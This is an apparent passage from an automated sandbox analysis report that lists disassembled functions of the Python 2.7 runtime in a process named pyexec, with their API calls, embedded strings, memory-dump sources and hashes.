                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$Err_FromInitModule4Module_ObjectString_SubtypeType_
                                                                                                                                                                    • String ID: Heap queue algorithm (a.k.a. priority queue).Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of $Heap queues[explanation by Franois Pinard]Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of $__about__$_heapq
                                                                                                                                                                    • API String ID: 2338541038-978301229
                                                                                                                                                                    • Opcode ID: ea2b4dbc36b5a8f1910cd10c507a0f9a10793c81cbb4a26ad4de0a5eb2673446
                                                                                                                                                                    • Instruction ID: 9c7462c0c1c51c4f114786594a87be2db5a1f0d107d376e6244e226442731d0f
                                                                                                                                                                    • Opcode Fuzzy Hash: ea2b4dbc36b5a8f1910cd10c507a0f9a10793c81cbb4a26ad4de0a5eb2673446
                                                                                                                                                                    • Instruction Fuzzy Hash: 88D0A751CC252937E53131685C4EF7F00088B2DD28F590653FA20751C5F60156D120F7
                                                                                                                                                                    Function 67009C60 Relevance: 12.1, APIs: 8, Instructions: 140COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,?), ref: 67009C6F
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 67009C7F
                                                                                                                                                                      • Part of subcall function 670A4510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,670C50C0,?,00000014,?,6712DEB4), ref: 670A4529
                                                                                                                                                                    • Py_BuildValue.PYTHON27(6714BAA8,?,00000000), ref: 67009C9B
                                                                                                                                                                    • PyDict_SetItem.PYTHON27(?,?,00000000), ref: 67009CB2
                                                                                                                                                                    • PyInt_FromLong.PYTHON27(?), ref: 67009D22
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 67009D30
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,00000000), ref: 67009D42
                                                                                                                                                                    • PyDict_SetItem.PYTHON27(?,00000000,?), ref: 67009D91
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Dict_$Item$From$BuildClearErr_Int_LongStringString_Value
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 232765214-0
                                                                                                                                                                    • Opcode ID: 1e8a2bdb967d237dc6357048e17599d126c5983f3d8725beaff91acd3e3cb178
                                                                                                                                                                    • Instruction ID: 6125d8c6cde22da8487f96ab37e6b2ce320cdac1b0b7ef2a79f07b09ac1595fb
                                                                                                                                                                    • Opcode Fuzzy Hash: 1e8a2bdb967d237dc6357048e17599d126c5983f3d8725beaff91acd3e3cb178
                                                                                                                                                                    • Instruction Fuzzy Hash: BB4183B5A115009BD714DB68DC41E9A77F9AF48338B104799ED2887382EB31ED51CBE2
                                                                                                                                                                    Function 670A05B0 Relevance: 12.1, APIs: 8, Instructions: 118COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Iatan2IcosIexpIlogIpowIsin_errno_hypot
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 482299394-0
                                                                                                                                                                    • Opcode ID: 6189180c9df62206de507b83c442ae423ea9250b5505743a81cfcf3e8eb75b72
                                                                                                                                                                    • Instruction ID: 5997fd12cb8090b723d31d047125e23d0fc84757a40f04d8e52e02f157cafdcb
                                                                                                                                                                    • Opcode Fuzzy Hash: 6189180c9df62206de507b83c442ae423ea9250b5505743a81cfcf3e8eb75b72
                                                                                                                                                                    • Instruction Fuzzy Hash: 6531EA71E04509E2CB023E54E5453CD3FA8EF8A3A4F514AC5E9D5711E5EB3689348BC9
                                                                                                                                                                    Function 670B3DD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 227COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • frexp.MSVCR90 ref: 670B3E1D
                                                                                                                                                                    • ldexp.MSVCR90 ref: 670B3E6E
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672463F8,float too large to pack with d format), ref: 670B3FA7
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,frexp() result out of range), ref: 670B3FC8
                                                                                                                                                                    Strings
                                                                                                                                                                    • frexp() result out of range, xrefs: 670B3FC0
                                                                                                                                                                    • float too large to pack with d format, xrefs: 670B3FA1
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$frexpldexp
                                                                                                                                                                    • String ID: float too large to pack with d format$frexp() result out of range
                                                                                                                                                                    • API String ID: 210449120-471396154
                                                                                                                                                                    • Opcode ID: 2b9433fef766dbd9ee68520ccca74df2c384eb069d93c55a1249eca0621e9fc4
                                                                                                                                                                    • Instruction ID: b8a232158caca84013eb471d08eaa80e2dfb43cd7a5f4cff0c0517d79915d05d
                                                                                                                                                                    • Opcode Fuzzy Hash: 2b9433fef766dbd9ee68520ccca74df2c384eb069d93c55a1249eca0621e9fc4
                                                                                                                                                                    • Instruction Fuzzy Hash: A6714931A0924297CB110F38D88138ABFE4EF9A754F240A6EFCD5833E1E636C555C795
                                                                                                                                                                    Function 670E87C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 213COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_NoMemory.PYTHON27(?,00000000,00000000), ref: 670E87EC
                                                                                                                                                                      • Part of subcall function 67120380: PyErr_GivenExceptionMatches.PYTHON27(00000000,672467A8,?,670D7E82,00000000,6708B1D5,?,?,?,6708F66F,00000000,?,00000000,6708F785,00000000), ref: 67120396
                                                                                                                                                                      • Part of subcall function 67120380: PyErr_SetObject.PYTHON27(672467A8,?), ref: 671203B3
                                                                                                                                                                    • PyObject_Malloc.PYTHON27(00000015,?,?,?,00000000,00000000), ref: 670E8807
                                                                                                                                                                    • PyString_InternInPlace.PYTHON27(00000000,?,00000000,00000000), ref: 670E8839
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$ExceptionGivenInternMallocMatchesMemoryObjectObject_PlaceString_
                                                                                                                                                                    • String ID: h#g
                                                                                                                                                                    • API String ID: 349208754-436849807
                                                                                                                                                                    • Opcode ID: 98155c66aa60b949bdb24baf201c63bbd35df279686735a8a10de46b5637de04
                                                                                                                                                                    • Instruction ID: de1af6b77750e43f86d9d8000c9004231ddb6ffb24dd09153889116ad0bc3333
                                                                                                                                                                    • Opcode Fuzzy Hash: 98155c66aa60b949bdb24baf201c63bbd35df279686735a8a10de46b5637de04
                                                                                                                                                                    • Instruction Fuzzy Hash: 53614835D142558FDB008E68D44439DBBE9EB9D310F4891AEDCE48B2D1E375A186C7B3
                                                                                                                                                                    Function 670BA610 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 192COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetIter.PYTHON27(?,-00000010,00000000), ref: 670BA644
                                                                                                                                                                      • Part of subcall function 6708FF00: PySequence_Check.PYTHON27(?), ref: 6708FF18
                                                                                                                                                                      • Part of subcall function 6708FF00: PySeqIter_New.PYTHON27(?), ref: 6708FF25
                                                                                                                                                                    • _PyObject_LengthHint.PYTHON27(?,00000008), ref: 670BA663
                                                                                                                                                                      • Part of subcall function 6708B130: PyObject_Size.PYTHON27(?), ref: 6708B13C
                                                                                                                                                                      • Part of subcall function 6708B130: PyErr_GivenExceptionMatches.PYTHON27(?,672448B0), ref: 6708B160
                                                                                                                                                                      • Part of subcall function 6708B130: PyErr_GivenExceptionMatches.PYTHON27(?,672455C0), ref: 6708B17D
                                                                                                                                                                    • PyErr_GivenExceptionMatches.PYTHON27(?,67244978), ref: 670BA71D
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 670BA729
                                                                                                                                                                    • PySequence_Fast.PYTHON27(?,argument must be iterable,-00000010,00000000), ref: 670BA764
                                                                                                                                                                    Strings
                                                                                                                                                                    • argument must be iterable, xrefs: 670BA75E
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$ExceptionGivenMatchesObject_$Sequence_$CheckClearFastHintIterIter_LengthSize
                                                                                                                                                                    • String ID: argument must be iterable
                                                                                                                                                                    • API String ID: 3611713048-1209305317
                                                                                                                                                                    • Opcode ID: 8af349842c9b52c7931c0b897c6f53e7c156df5a95c4a163c4228db40df79185
                                                                                                                                                                    • Instruction ID: ff7c9cebc85aaf911eeca75bfe0d5e4b7a1311c9b1476686bdf99a0002cd6156
                                                                                                                                                                    • Opcode Fuzzy Hash: 8af349842c9b52c7931c0b897c6f53e7c156df5a95c4a163c4228db40df79185
                                                                                                                                                                    • Instruction Fuzzy Hash: B751C4F59446028BC724CE24D880A5AB3F4FF5D734B204669ED248B351D736EE56CBE2
                                                                                                                                                                    Function 670C65D0 Relevance: 10.6, APIs: 7, Instructions: 132COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _finite$DoubleFromLong__isnanmodf
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3759321570-0
                                                                                                                                                                    • Opcode ID: 5410f3604ce6c747b111f66e2fccd792bc9da57971e67be4b9ab93f6564d4b91
                                                                                                                                                                    • Instruction ID: 23d76e3ff42358fa29fd7c2a10be0a9cb120bbb5b58b9442ceb4ebd5af1cae0d
                                                                                                                                                                    • Opcode Fuzzy Hash: 5410f3604ce6c747b111f66e2fccd792bc9da57971e67be4b9ab93f6564d4b91
                                                                                                                                                                    • Instruction Fuzzy Hash: AA310972A1440993CB10BE2CED0A39D7BB8EF45365F0007B9FD9891294FB36892987D7
                                                                                                                                                                    Function 6700DFA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 126COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_ParseTupleAndKeywords.PYTHON27(?,?,OOOOOOOOO:make_encoder,6726B8BC,?,?,?,?,?,?,?,?,?), ref: 6700DFDC
                                                                                                                                                                    • PyObject_IsTrue.PYTHON27(?), ref: 6700DFF1
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,make_encoder() argument 1 must be dict or None, not %.200s,?), ref: 6700E025
                                                                                                                                                                    Strings
                                                                                                                                                                    • make_encoder() argument 1 must be dict or None, not %.200s, xrefs: 6700E01F
                                                                                                                                                                    • OOOOOOOOO:make_encoder, xrefs: 6700DFD5
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_Err_FormatKeywordsObject_ParseTrueTuple
                                                                                                                                                                    • String ID: OOOOOOOOO:make_encoder$make_encoder() argument 1 must be dict or None, not %.200s
                                                                                                                                                                    • API String ID: 1781283350-23895984
                                                                                                                                                                    • Opcode ID: 3ce7f740998c4acb802e03ff5000f8eb8eaa2616577359e371e60a8b5b86de61
                                                                                                                                                                    • Instruction ID: 9b6fd52c15d6db96180bb260b8513b4b8532fec7f1d03b1f415ef4ee0810eb36
                                                                                                                                                                    • Opcode Fuzzy Hash: 3ce7f740998c4acb802e03ff5000f8eb8eaa2616577359e371e60a8b5b86de61
                                                                                                                                                                    • Instruction Fuzzy Hash: C541EBB5A006089FD724DF98D880EABB7F8FB4C310B10865AE95AD7711E731E945CFA1
                                                                                                                                                                    Function 67017DF0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 124COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTupleAndKeywords_SizeT.PYTHON27(?,?,|O:groupdict,6726A20C,?), ref: 67017E13
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 67017E25
                                                                                                                                                                    • _PyObject_CallMethod_SizeT.PYTHON27(?,keys,00000000), ref: 67017E51
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Size$Arg_CallDict_Keywords_Method_Object_ParseTuple
                                                                                                                                                                    • String ID: keys$|O:groupdict
                                                                                                                                                                    • API String ID: 2100346386-554732576
                                                                                                                                                                    • Opcode ID: 0df33342266b5e358c86c08341996848a18280462e4522baf64601d1b2ed276e
                                                                                                                                                                    • Instruction ID: 21988346248bb0efbea1ff9cc0dd2daa083c1d997aca0bb7a75f319fe01bd9d9
                                                                                                                                                                    • Opcode Fuzzy Hash: 0df33342266b5e358c86c08341996848a18280462e4522baf64601d1b2ed276e
                                                                                                                                                                    • Instruction Fuzzy Hash: BC419776A045059BCB00CE98D880B5A73F9EF9C338F158299ED289B341E731ED52CBE1
                                                                                                                                                                    Function 670AC7A0 Relevance: 10.6, APIs: 7, Instructions: 121stringCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: strchr$FromStringString_
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1648105354-0
                                                                                                                                                                    • Opcode ID: 552c8a32aeceff274a01d842fd595dfbdf88b73692f5668cde71ec3f070a9708
                                                                                                                                                                    • Instruction ID: fcf42f148d43573a94385711f06c326ff25cbf62c34f326b9e8d1058c9ef621b
                                                                                                                                                                    • Opcode Fuzzy Hash: 552c8a32aeceff274a01d842fd595dfbdf88b73692f5668cde71ec3f070a9708
                                                                                                                                                                    • Instruction Fuzzy Hash: B341F2B0A44B008FD720DF65C880B17B7F8BB49315F118A2EE94ACBA91D779E845CB61
                                                                                                                                                                    Function 6700B580 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyInt_FromLong.PYTHON27 ref: 6700B59D
                                                                                                                                                                    • _PyLong_FromByteArray.PYTHON27(?,00000004,00000001,00000001), ref: 6700B5B6
                                                                                                                                                                    • _PyObject_GC_NewVar.PYTHON27(?,00000002), ref: 6700B606
                                                                                                                                                                      • Part of subcall function 6703BAA0: _PyObject_GC_Malloc.PYTHON27(?), ref: 6703BABC
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 6700B62A
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FromObject_$ArrayByteErrorFatalInt_LongLong_Malloc
                                                                                                                                                                    • String ID: GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 85452904-581008464
                                                                                                                                                                    • Opcode ID: 59b7dc84a565feeb615d384fe3da85ba744c0f8e6329d8b0048e68f53e02c910
                                                                                                                                                                    • Instruction ID: 9ef8bcfe5ebd24e4786c12c33138266ab6e7bd92a428e4c5d4b3cf413d94b147
                                                                                                                                                                    • Opcode Fuzzy Hash: 59b7dc84a565feeb615d384fe3da85ba744c0f8e6329d8b0048e68f53e02c910
                                                                                                                                                                    • Instruction Fuzzy Hash: 433101B1A006019FD710CF69DC81B56B3E4EB99334F10876AD92887380E735E856CBE2
                                                                                                                                                                    Function 670027B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:unicode_internal_encode,?,?), ref: 670027CE
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(?,?), ref: 670027FA
                                                                                                                                                                    Strings
                                                                                                                                                                    • O|z:unicode_internal_encode, xrefs: 670027C1
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Size$Arg_FromParseStringString_Tuple_
                                                                                                                                                                    • String ID: O|z:unicode_internal_encode
                                                                                                                                                                    • API String ID: 2714287502-4208230126
                                                                                                                                                                    • Opcode ID: 0f27ab9cd9dadffe1595c64c3fafa1145f41e089aa184c495fa24aecdf6faad2
                                                                                                                                                                    • Instruction ID: 87ef893be233edded4bbebe3e45998c3c87e5b0441161aaad7924710567f0c2a
                                                                                                                                                                    • Opcode Fuzzy Hash: 0f27ab9cd9dadffe1595c64c3fafa1145f41e089aa184c495fa24aecdf6faad2
